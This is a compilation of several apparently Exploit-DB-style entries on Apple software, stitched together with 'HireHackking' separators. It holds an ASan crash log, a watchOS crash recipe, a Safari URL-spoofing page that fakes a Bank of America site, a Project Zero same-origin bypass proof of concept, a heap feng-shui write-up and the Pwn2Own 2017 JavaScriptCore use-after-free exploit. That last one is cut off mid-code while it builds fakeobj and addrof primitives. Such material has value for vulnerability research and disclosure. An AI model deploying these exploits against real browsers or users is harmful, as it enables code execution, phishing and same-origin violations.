    #27 0x10bd53ab3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6ab3)
    #28 0x10bd55f1e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b8f1e)
    #29 0x7fffa0f3c7e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xba8a) in WebCore::Node::parentNode() const
Shadow bytes around the buggy address:
  0x1c0e0000c9b0: fa fa fa fa 00 00 00 00 00 00 00 00 00 06 fa fa
  0x1c0e0000c9c0: fa fa 00 00 00 00 00 00 00 00 04 fa fa fa fa fa
  0x1c0e0000c9d0: 00 00 00 00 00 00 00 00 04 fa fa fa fa fa 00 00
  0x1c0e0000c9e0: 00 00 00 00 00 00 04 fa fa fa fa fa fd fd fd fd
  0x1c0e0000c9f0: fd fd fd fd fd fa fa fa fa fa 00 00 00 00 00 00
=>0x1c0e0000ca00: 00 00 00 fa fa fa fa fa fd fd fd[fd]fd fd fd fd
  0x1c0e0000ca10: fd fa fa fa fa fa 00 00 00 00 00 00 00 00 00 fa
  0x1c0e0000ca20: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x1c0e0000ca30: fa fa 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x1c0e0000ca40: fd fd fd fd fd fd fd fd fd fd fa fa fa fa 00 00
  0x1c0e0000ca50: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==570==ABORTING
-->
HireHackking 
#[+] Title:  Apple watchOS - Remote Crash Exploit
#[+] Product: Apple
#[+] Vendor: www.apple.com
#[+] SoftWare Link : www.apple.com/watchos-2/
#[+] Vulnerable Version(s): watchOS on IOS 9.0.1
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/reza.espargham


#  1. open your phone Clock / goto Alarm
# 2. add alarm / set time [for example two minutes later]
# 3. click label /  input 5000 x “0"
# 4. Save
# 5. Lock Your phone and wait for alarm
# 6. When the alarm clock rings / Watch Crashed ;)
HireHackking 
source: https://www.securityfocus.com/bid/52746/info

Apple Safari for Windows is affected by a URI-spoofing vulnerability.

An attacker may leverage this issue to spoof the source URI of a site presented to an unsuspecting user. This may lead to a false sense of trust because the user may be presented with a source URI of a trusted site while interacting with the attacker's malicious site.

Versions prior to Apple Safari 5.1.5 on Windows systems are vulnerable. 

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.example.com/TR/html4/loose.dtd"> <html> <head> <title>Safari for windows 5.1.5 and prior URL spoof window.open() test case.</title> <script type="text/javascript"> var wx; function invokePoC() { wx = open("http://www:example.com/login","newwin"); setInterval("doit()",1); } function doit() { wx.document.open(); wx.document.write("<title>Bank of America | Home | Personal</title><body><img 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'/><h1></b>Hello !! i'm a Spoofed Site !!!</b></h1></body>"); } </script> </head> <body onload="invokePoC()"> <h1>Safari for windows 5.1.5 and prior URL pseudo-spoof window.open() test case.</h1> <noscript><p>this testcase requires JavaScript to run.</p></noscript> <p>First Click in this link ==> <a href="http://www.example.com/login" onClick="location.reload();" target="_blank">invoke PoC</a></p> <p>and Look in result window, the address bar , show The url and if you write any url in the address bar, the browser can't navigate to it. This issue can be used to spoof sites or pishing attacks. Vulnerable Safari for windows 5.1.5 and prior versions, also Safari for IOS is Too vulnerable. </body> </html>
HireHackking 
Sources:
https://phoenhex.re/2017-06-02/arrayspread
https://github.com/phoenhex/files/blob/master/exploits/spread-overflow

JavaScriptCore will allocate a JSFixedArray for every spread operand of the array literal (in slow_path_spread). As such, roughly 4 billion JSValues will have to be allocated, taking up 32 GiB in RAM. Luckily, this isn’t much of a problem due to the page compression performed by the macOS kernel. It will, however, take roughly a minute to trigger the bug.

What is left to do now is to perform some heap feng-shui to place something interesting on the heap that we will then overflow into. We use the following heap spray to exploit the bug:

- Allocate 100 JSArrays of size 0x40000 and root them (i.e. keep references). This will trigger GC multiple times and fill up holes in the heap.
- Allocate 100 JSArrays of size 0x40000, where only every second one is rooted. This triggers GC and leaves holes of size 0x40000 in the heap.
- Allocate a larger JSArray and an ArrayBuffer of the same size. These end up directly after the spray from step 2.
- Allocate 4 GiB of padding using JSArrays.
- Trigger the bug by concatenating JSArrays with a combined size of 232 + 0x40000 (containing the repeated byte 0x41).

The target buffer will be allocated in the sprayed region from step 2 and the victim buffers from step 3 will be overwritten. This increases the size of the victim array to the sprayed value (0x4141414141414141), so that it overlaps with the victim ArrayBuffer. The final steps immediately yield the fakeobj and addrof primitives described in section 1.2 of the JavaScriptCore phrack paper which can then be used to write code to a JIT page and jump to it.

In our exploit we perform step 5 in a separate web worker, so that we can launch a second stage shellcode immediately after the victim arrays are overwritten. This way we do not need to wait for the full overwrite to finish, and the heap is only left in a broken state for a very short time, so that garbage collection does not crash (which runs concurrently starting from Safari version 10.1). 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42125.zip
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1120

When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.

Here's some snippets of the logic.

void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
{
    ...
    String url = this->url(); 
    ...
    if (!allowedToLoadFrameURL(url))
        return;
    ...

    bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);
    ...

    bool success = beforeLoadAllowedLoad && hasValidClassId();
    if (success)
        success = requestObject(url, serviceType, paramNames, paramValues);
    ...
}

bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
{
    URL completeURL = document().completeURL(url);
    if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
        return false;
    return document().frame()->isURLAllowed(completeURL);
}

bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
{
    if (m_pluginReplacement)
        return true;

    URL completedURL;
    if (!url.isEmpty())
        completedURL = document().completeURL(url);

    ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
    if (!replacement || !replacement->isEnabledBySettings(document().settings()))
        return false;

    LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());

    m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
    setDisplayState(PreparingPluginReplacement);
    return true;
}

The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.

What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.

Tested on Safari 10.0.3(12602.4.8).

PoC:
-->

<html>
<head>
</head>
<body>
<script>

let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
    o.onload = null;

    o.onbeforeload = () => {
        o.onbeforeload = null;

        let b = document.head.appendChild(document.createElement('base'));
        b.href = 'javascript:///%0aalert(location);//';
    };
    o.data = 'xxxxx';
};

o.type = 'text/html';
o.data = 'https://abc.xyz/';

</script>
</body>
</html>
HireHackking 
<!--
Sources: 
https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf
https://github.com/phoenhex/files/blob/master/exploits/cachedcall-uaf.html

Overview
The WebKit bug we used at Pwn2Own is CVE-2017-2491 / ZDI-17-231, a use-after-free of a JSString object in JavaScriptCore. By triggering it, we can obtain a dangling pointer to a JSString object in a JavaScript callback. At first, the specific scenario seems very hard to exploit, but we found a rather generic technique to still get a reliable read/write primitive out of it, although it requires a very large (~28 GiB) heap spray. This is possible even on a MacBook with 8 GB of RAM thanks to the page compression mechanism in macOS.

-->

<script>

function make_compiled_function() {
    function target(x) {
        return x*5 + x - x*x;
    }
    // Call only once so that function gets compiled with low level interpreter
    // but none of the optimizing JITs
    target(0);
    return target;
}

function pwn() {
    var haxs = new Array(0x100);
    for (var i = 0; i < 0x100; ++i)
        haxs[i] = new Uint8Array(0x100);

    // hax is surrounded by other Uint8Array instances. Thus *(&hax - 8) == 0x100,
    // which is the butterfly length if hax is later used as a butterfly for a
    // fake JSArray.
    var hax = haxs[0x80];
    var hax2 = haxs[0x81];

    var target_func = make_compiled_function();

    // Small helper to avoid allocations with .set(), so we don't mess up the heap
    function set(p, i, a,b,c,d,e,f,g,h) {
        p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h;
    }

    function spray() {
        var res = new Uint8Array(0x7ffff000);
        for (var i = 0; i < 0x7ffff000; i += 0x1000) {
            // Write heap pattern.
            // We only need a structure pointer every 128 bytes, but also some of
            // structure fields need to be != 0 and I can't remember which, so we just
            // write pointers everywhere.
            for (var j = 0; j < 0x1000; j += 8)
                set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0);

            // Write the offset to the beginning of each page so we know later
            // with which part we overlap.
            var j = i+1+2*8;
            set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff);
        }
        return res;
    }

    // Spray ~14 GiB worth of array buffers with our pattern.
    var x = [
        spray(), spray(), spray(), spray(),
        spray(), spray(), spray(), spray(),
    ];

    // The butterfly of our fake object will point to 0x200000001. This will always
    // be inside the second sprayed buffer.
    var buf = x[1];

    // A big array to hold reference to objects we don't want to be freed.
    var ary = new Array(0x10000000);
    var cnt = 0;

    // Set up objects we need to trigger the bug.
    var n = 0x40000;
    var m = 10;
    var regex = new RegExp("(ab)".repeat(n), "g");
    var part = "ab".repeat(n);
    var s = (part + "|").repeat(m);

    // Set up some views to convert pointers to doubles
    var convert = new ArrayBuffer(0x20);
    var cu = new Uint8Array(convert);
    var cf = new Float64Array(convert);

    // Construct fake JSCell header
    set(cu, 0,
        0,0,0,0,  // structure ID
        8,        // indexing type
        0,0,0);   // some more stuff we don't care about

    var container = {
        // Inline object with indebufng type 8 and butterly pointing to hax.
        // Later we will refer to it as fakearray.
        jsCellHeader: cf[0],
        butterfly: hax,
    };

    while (1) {
        // Try to trigger bug
        s.replace(regex, function() {
            for (var i = 1; i < arguments.length-2; ++i) {
                if (typeof arguments[i] === 'string') {
                    // Root all the callback arguments to force GC at some point
                    ary[cnt++] = arguments[i];
                    continue;
                }
                var a = arguments[i];

                // a.butterfly points to 0x200000001, which is always
                // inside buf, but we are not sure what the exact
                // offset is within it so we read a marker value.
                var offset = a[2];

                // Compute addrof(container) + 16. We write to the fake array, then
                // read from a sprayed array buffer on the heap.
                a[2] = container;
                var addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + buf[offset + j];

                // Add 16 to get address of inline object
                addr += 16;

                // Do the inverse to get fakeobj(addr)
                for (var j = 0; j < 8; ++j) {
                    buf[offset + j] = addr & 0xff;
                    addr /= 0x100;
                }
                var fakearray = a[2];

                // Re-write the vector pointer of hax to point to hax2.
                fakearray[2] = hax2;

                // At this point hax.vector points to hax2, so we can write
                // the vector pointer of hax2 by writing to hax[16+{0..7}]

                // Leak address of JSFunction
